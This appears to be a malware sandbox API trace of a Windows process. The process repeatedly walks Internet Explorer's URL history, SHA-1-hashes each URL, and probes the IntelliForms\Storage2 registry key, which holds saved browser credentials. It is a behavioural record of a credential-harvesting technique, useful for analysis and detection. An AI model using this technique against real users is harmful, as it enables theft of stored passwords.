	[0211.441] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.441] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.442] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.442] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.442] CoTaskMemFree (pv=0x5e7228) 
	[0211.443] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afd20) returned 1
	[0211.444] GetLastError () returned 0x0
	[0211.444] CryptCreateHash (in: hProv=0x5afd20, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.444] GetLastError () returned 0x0
	[0211.444] CryptHashData (hHash=0x5bb4b0, pbData=0x258dc20, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0211.444] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258dd18, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258dd18, pdwDataLen=0x5ffde9c) returned 1
	[0211.444] GetLastError () returned 0x0
	[0211.444] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.444] CryptReleaseContext (hProv=0x5afd20, dwFlags=0x0) returned 1
	[0211.444] GetLastError () returned 0x0
	[0211.444] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.444] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.444] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.445] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.446] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.446] CoTaskMemFree (pv=0x5afc10) 
	[0211.446] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afc10) returned 1
	[0211.447] GetLastError () returned 0x0
	[0211.447] CryptCreateHash (in: hProv=0x5afc10, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.447] GetLastError () returned 0x0
	[0211.447] CryptHashData (hHash=0x5bb4b0, pbData=0x258ea0c, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0211.447] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258eb10, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258eb10, pdwDataLen=0x5ffde9c) returned 1
	[0211.447] GetLastError () returned 0x0
	[0211.447] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.447] CryptReleaseContext (hProv=0x5afc10, dwFlags=0x0) returned 1
	[0211.447] GetLastError () returned 0x0
	[0211.447] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.447] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.448] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.448] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.448] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.449] CoTaskMemFree (pv=0x5d6ac8) 
	[0211.449] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afc10) returned 1
	[0211.450] GetLastError () returned 0x0
	[0211.450] CryptCreateHash (in: hProv=0x5afc10, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.450] GetLastError () returned 0x0
	[0211.450] CryptHashData (hHash=0x5bb4b0, pbData=0x258f848, dwDataLen=0xa0, dwFlags=0x0) returned 1
	[0211.450] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258f970, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258f970, pdwDataLen=0x5ffde9c) returned 1
	[0211.450] GetLastError () returned 0x0
	[0211.450] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.450] CryptReleaseContext (hProv=0x5afc10, dwFlags=0x0) returned 1
	[0211.450] GetLastError () returned 0x0
	[0211.450] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.450] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.450] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.450] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.451] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.451] CoTaskMemFree (pv=0x5ddd30) 
	[0211.451] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afc10) returned 1
	[0211.452] GetLastError () returned 0x0
	[0211.452] CryptCreateHash (in: hProv=0x5afc10, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.452] GetLastError () returned 0x0
	[0211.452] CryptHashData (hHash=0x5bb4b0, pbData=0x25906b0, dwDataLen=0xa4, dwFlags=0x0) returned 1
	[0211.452] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25907dc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25907dc, pdwDataLen=0x5ffde9c) returned 1
	[0211.452] GetLastError () returned 0x0
	[0211.492] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.492] CryptReleaseContext (hProv=0x5afc10, dwFlags=0x0) returned 1
	[0211.492] GetLastError () returned 0x0
	[0211.492] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.493] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.493] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.493] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.494] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.494] CoTaskMemFree (pv=0x5b05a0) 
	[0211.494] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b05a0) returned 1
	[0211.495] GetLastError () returned 0x0
	[0211.495] CryptCreateHash (in: hProv=0x5b05a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.495] GetLastError () returned 0x0
	[0211.495] CryptHashData (hHash=0x5bb4b0, pbData=0x23e4cac, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0211.495] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23e4dac, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23e4dac, pdwDataLen=0x5ffde9c) returned 1
	[0211.495] GetLastError () returned 0x0
	[0211.496] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.496] CryptReleaseContext (hProv=0x5b05a0, dwFlags=0x0) returned 1
	[0211.496] GetLastError () returned 0x0
	[0211.496] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.496] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.496] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.496] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.497] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.497] CoTaskMemFree (pv=0x5d9570) 
	[0211.497] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b05a0) returned 1
	[0211.498] GetLastError () returned 0x0
	[0211.498] CryptCreateHash (in: hProv=0x5b05a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.498] GetLastError () returned 0x0
	[0211.498] CryptHashData (hHash=0x5bb4b0, pbData=0x23e5b28, dwDataLen=0xc2, dwFlags=0x0) returned 1
	[0211.498] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23e5c70, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23e5c70, pdwDataLen=0x5ffde9c) returned 1
	[0211.499] GetLastError () returned 0x0
	[0211.499] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.499] CryptReleaseContext (hProv=0x5b05a0, dwFlags=0x0) returned 1
	[0211.499] GetLastError () returned 0x0
	[0211.499] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.499] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.499] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.500] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.500] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.501] CoTaskMemFree (pv=0x5e1e20) 
	[0211.501] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b05a0) returned 1
	[0211.502] GetLastError () returned 0x0
	[0211.502] CryptCreateHash (in: hProv=0x5b05a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.502] GetLastError () returned 0x0
	[0211.502] CryptHashData (hHash=0x5bb4b0, pbData=0x23e691c, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0211.502] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23e69fc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23e69fc, pdwDataLen=0x5ffde9c) returned 1
	[0211.502] GetLastError () returned 0x0
	[0211.502] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.502] CryptReleaseContext (hProv=0x5b05a0, dwFlags=0x0) returned 1
	[0211.503] GetLastError () returned 0x0
	[0211.503] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.503] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.503] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.503] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.504] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.504] CoTaskMemFree (pv=0x5e21c8) 
	[0211.504] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b05a0) returned 1
	[0211.505] GetLastError () returned 0x0
	[0211.505] CryptCreateHash (in: hProv=0x5b05a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.505] GetLastError () returned 0x0
	[0211.505] CryptHashData (hHash=0x5bb4b0, pbData=0x23e76a8, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0211.505] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23e7788, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23e7788, pdwDataLen=0x5ffde9c) returned 1
	[0211.505] GetLastError () returned 0x0
	[0211.506] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.506] CryptReleaseContext (hProv=0x5b05a0, dwFlags=0x0) returned 1
	[0211.506] GetLastError () returned 0x0
	[0211.506] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.506] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.506] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.507] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.507] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.508] CoTaskMemFree (pv=0x58b848) 
	[0211.508] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b05a0) returned 1
	[0211.509] GetLastError () returned 0x0
	[0211.509] CryptCreateHash (in: hProv=0x5b05a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.509] GetLastError () returned 0x0
	[0211.509] CryptHashData (hHash=0x5bb4b0, pbData=0x23e8488, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0211.509] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23e8594, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23e8594, pdwDataLen=0x5ffde9c) returned 1
	[0211.509] GetLastError () returned 0x0
	[0211.509] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.509] CryptReleaseContext (hProv=0x5b05a0, dwFlags=0x0) returned 1
	[0211.509] GetLastError () returned 0x0
	[0211.510] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.510] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.510] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.510] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.511] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.511] CoTaskMemFree (pv=0x51f3538) 
	[0211.511] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b05a0) returned 1
	[0211.512] GetLastError () returned 0x0
	[0211.512] CryptCreateHash (in: hProv=0x5b05a0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.512] GetLastError () returned 0x0
	[0211.512] CryptHashData (hHash=0x5bb4b0, pbData=0x23e9350, dwDataLen=0xe2, dwFlags=0x0) returned 1
	[0211.512] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23e94b8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23e94b8, pdwDataLen=0x5ffde9c) returned 1
	[0211.512] GetLastError () returned 0x0
	[0211.513] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.513] CryptReleaseContext (hProv=0x5b05a0, dwFlags=0x0) returned 1
	[0211.513] GetLastError () returned 0x0
	[0211.513] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.513] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.513] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.514] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.514] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.514] CoTaskMemFree (pv=0x5b0490) 
	[0211.515] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.516] GetLastError () returned 0x0
	[0211.516] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.516] GetLastError () returned 0x0
	[0211.516] CryptHashData (hHash=0x5bb4b0, pbData=0x23ea1ac, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0211.516] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23ea2b0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23ea2b0, pdwDataLen=0x5ffde9c) returned 1
	[0211.516] GetLastError () returned 0x0
	[0211.516] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.516] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.516] GetLastError () returned 0x0
	[0211.516] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.517] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.517] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.517] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.518] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.518] CoTaskMemFree (pv=0x5e6b20) 
	[0211.518] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.520] GetLastError () returned 0x0
	[0211.520] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.520] GetLastError () returned 0x0
	[0211.520] CryptHashData (hHash=0x5bb4b0, pbData=0x23eafd0, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0211.520] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23eb0c4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23eb0c4, pdwDataLen=0x5ffde9c) returned 1
	[0211.520] GetLastError () returned 0x0
	[0211.520] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.520] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.520] GetLastError () returned 0x0
	[0211.521] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.521] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.521] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.521] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.522] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.522] CoTaskMemFree (pv=0x56ed10) 
	[0211.522] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.523] GetLastError () returned 0x0
	[0211.523] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.523] GetLastError () returned 0x0
	[0211.523] CryptHashData (hHash=0x5bb4b0, pbData=0x23ebdd0, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0211.523] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23ebee0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23ebee0, pdwDataLen=0x5ffde9c) returned 1
	[0211.523] GetLastError () returned 0x0
	[0211.524] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.524] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.524] GetLastError () returned 0x0
	[0211.524] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.524] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.524] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.525] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.525] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.525] CoTaskMemFree (pv=0x5ded00) 
	[0211.525] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.527] GetLastError () returned 0x0
	[0211.527] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.527] GetLastError () returned 0x0
	[0211.527] CryptHashData (hHash=0x5bb4b0, pbData=0x23ecc28, dwDataLen=0xa8, dwFlags=0x0) returned 1
	[0211.527] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23ecd58, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23ecd58, pdwDataLen=0x5ffde9c) returned 1
	[0211.527] GetLastError () returned 0x0
	[0211.527] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.527] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.527] GetLastError () returned 0x0
	[0211.527] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.528] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.528] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.528] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.529] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.529] CoTaskMemFree (pv=0x5e9790) 
	[0211.529] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.530] GetLastError () returned 0x0
	[0211.530] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.530] GetLastError () returned 0x0
	[0211.530] CryptHashData (hHash=0x5bb4b0, pbData=0x23edab0, dwDataLen=0xb0, dwFlags=0x0) returned 1
	[0211.530] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23edbe8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23edbe8, pdwDataLen=0x5ffde9c) returned 1
	[0211.530] GetLastError () returned 0x0
	[0211.530] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.530] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.530] GetLastError () returned 0x0
	[0211.530] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.531] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.531] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.531] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.532] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.532] CoTaskMemFree (pv=0x55d4b0) 
	[0211.532] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.533] GetLastError () returned 0x0
	[0211.533] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.533] GetLastError () returned 0x0
	[0211.533] CryptHashData (hHash=0x5bb4b0, pbData=0x23ee960, dwDataLen=0xc0, dwFlags=0x0) returned 1
	[0211.533] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23eeaa8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23eeaa8, pdwDataLen=0x5ffde9c) returned 1
	[0211.533] GetLastError () returned 0x0
	[0211.533] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.533] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.533] GetLastError () returned 0x0
	[0211.533] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.534] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.534] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.534] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.535] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.535] CoTaskMemFree (pv=0x5d2300) 
